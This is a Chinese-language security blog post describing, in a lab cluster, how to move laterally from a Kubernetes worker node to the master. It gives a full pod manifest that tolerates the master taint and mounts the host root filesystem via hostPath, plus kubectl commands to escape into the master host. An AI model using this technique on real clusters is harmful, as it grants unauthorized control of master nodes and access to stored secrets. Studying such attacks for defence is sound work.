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Jul 20, 2021
博客半年没写了,来除除草…. :(
Kubernetes 是一个可移植的、可扩展的开源平台,用于管理容器化的工作负载和服务,可促进声明式配置和自动化。 Kubernetes 拥有一个庞大且快速增长的生态系统。Kubernetes 的服务、支持和工具广泛可用。
![2021-07-20-11-19-39](https://rvn0xsy.oss-cn- shanghai.aliyuncs.com/60ab9641f6ec3ecfec996616ef0837ab.png)
传统部署时代:
早期,各个组织机构在物理服务器上运行应用程序。无法为物理服务器中的应用程序定义资源边界,这会导致资源分配问题。 例如,如果在物理服务器上运行多个应用程序,则可能会出现一个应用程序占用大部分资源的情况, 结果可能导致其他应用程序的性能下降。 一种解决方案是在不同的物理服务器上运行每个应用程序,但是由于资源利用不足而无法扩展, 并且维护许多物理服务器的成本很高。
虚拟化部署时代:
作为解决方案,引入了虚拟化。虚拟化技术允许你在单个物理服务器的 CPU 上运行多个虚拟机(VM)。 虚拟化允许应用程序在 VM 之间隔离,并提供一定程度的安全,因为一个应用程序的信息 不能被另一应用程序随意访问。
虚拟化技术能够更好地利用物理服务器上的资源,并且因为可轻松地添加或更新应用程序 而可以实现更好的可伸缩性,降低硬件成本等等。
每个 VM 是一台完整的计算机,在虚拟化硬件之上运行所有组件,包括其自己的操作系统。
容器部署时代:
容器类似于 VM,但是它们具有被放宽的隔离属性,可以在应用程序之间共享操作系统(OS)。 因此,容器被认为是轻量级的。容器与 VM 类似,具有自己的文件系统、CPU、内存、进程空间等。 由于它们与基础架构分离,因此可以跨云和 OS 发行版本进行移植。
以上摘自Kubernetes官方文档:https://kubernetes.io/zh/docs/concepts/overview/what-is- kubernetes/
Kubernetes有如下几个与本文相关的概念:
- 节点(Node)
- Pod
- 容忍度(Toleration)与污点(Taint)
Kubernetes 通过将容器放入在节点(Node)上运行的 Pod 中来执行你的工作负载。 节点可以是一个虚拟机或者物理机器,取决于所在的集群配置。最容易理解的例子:
![2021-07-20-10-38-26](https://rvn0xsy.oss-cn- shanghai.aliyuncs.com/527d6800fc5f0a462b9dc90a1c3908f9.png)
该集群有三个节点,我可以在这三个节点上创建很多个Pod,而Pod中可以包含多个容器。在所有的节点中,至少要有一个Master节点,Master节点是第一个加入集群的机器,它具有整个集群的最高权限,本文的目的就是研究如何通过其他节点,横向移动到Master节点,因为Secret敏感信息(令牌、账户密码、公私钥等等)都存储在Kubernetes的etcd数据库上。
Pod是可以在 Kubernetes 中创建和管理的、最小的可部署的计算单元。
Pod(就像在鲸鱼荚或者豌豆荚中)是一组(一个或多个) 容器; 这些容器共享存储、网络、以及怎样运行这些容器的声明。 Pod中的内容总是并置(colocated)的并且一同调度,在共享的上下文中运行。 Pod所建模的是特定于应用的“逻辑主机”,其中包含一个或多个应用容器, 这些容器是相对紧密的耦合在一起的。 在非云环境中,在相同的物理机或虚拟机上运行的应用类似于 在同一逻辑主机上运行的云应用。
Pod的共享上下文包括一组 Linux 名字空间、控制组(cgroup)和可能一些其他的隔离方面,即用来隔离Docker容器的技术。 在Pod的上下文中,每个独立的应用可能会进一步实施隔离。
就Docker概念的术语而言,Pod类似于共享名字空间和文件系统卷的一组Docker容器,也就是说Pod是Docker容器的超集。
Kubernetes可以约束一个 Pod 只能在特定的节点上运行。
节点亲和性 是Pod的一种属性,它使 Pod 被吸引到一类特定的节点 (这可能出于一种偏好,也可能是硬性要求)。 污点(Taint)则相反——它使节点能够排斥一类特定的 Pod。容忍度(Toleration)是应用于 Pod 上的,允许(但并不要求)Pod 调度到带有与之匹配的污点的节点上。 我们可以控制Pod创建时候的污点来向集群内的节点进行喷射创建。
当前实验环境有三个节点,其中一个为Master节点,其余的都是普通节点。
![2021-07-20-10-56-11](https://rvn0xsy.oss-cn- shanghai.aliyuncs.com/fb788c1977b181ed1fcebec421adaee0.png)
当前机器是node1,普通节点,节点全部为健康状态,接下来要利用创建Pod的功能,横向到k8s-master。
- 确认Master节点的容忍度
$ kubectl describe node <Node Name>
![2021-07-20-10-59-50](https://rvn0xsy.oss-cn- shanghai.aliyuncs.com/4de02e057736c6c005e1a521fc7ad7d7.png)
- 创建带有容忍参数的Pod
$ kubectl create -f control-master.yaml
control-master.yaml内容:
apiVersion: v1
kind: Pod
metadata:
name: control-master-3
spec:
tolerations:
- key: node-role.kubernetes.io/master
operator: Exists
effect: NoSchedule
containers:
- name: control-master-3
image: ubuntu:18.04
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: master
mountPath: /master
volumes:
- name: master
hostPath:
path: /
type: Directory
![2021-07-20-11-02-18](https://rvn0xsy.oss-cn- shanghai.aliyuncs.com/a092be4614e40a1c419aeb417f00d5c5.png)
在多次创建Pod后,会发现Pod会在Master节点上出现,再利用kubectl进入容器,执行逃逸。
![2021-07-20-11-06-24](https://rvn0xsy.oss-cn- shanghai.aliyuncs.com/71842cf8d76f15aa1b04260f2186cf21.png)
至此,逃逸完成,能够通过写公私钥的方式控制Master宿主机。
本文通过了解Kubernetes的一些基本概念,完成了在节点中进行横向逃逸,但我没有实现指定节点的逃逸过程,因为在Kubernetes中低权限的节点无法修改Master节点的容忍度,因此要完成逃逸,需要在每一个节点上至少创建一个Pod,如果集群中节点数量庞大的话….
倾旋
特点:爪子长、个子高、身体瘦弱
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